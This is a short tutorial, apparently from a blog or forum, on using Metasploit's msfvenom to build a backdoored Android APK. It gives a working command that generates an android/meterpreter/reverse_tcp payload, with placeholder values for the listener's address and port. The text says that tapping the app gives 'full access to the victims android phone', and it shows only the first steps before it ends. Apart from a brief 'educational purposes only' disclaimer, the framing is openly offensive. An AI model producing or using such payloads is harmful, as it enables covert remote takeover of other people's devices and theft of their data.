Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.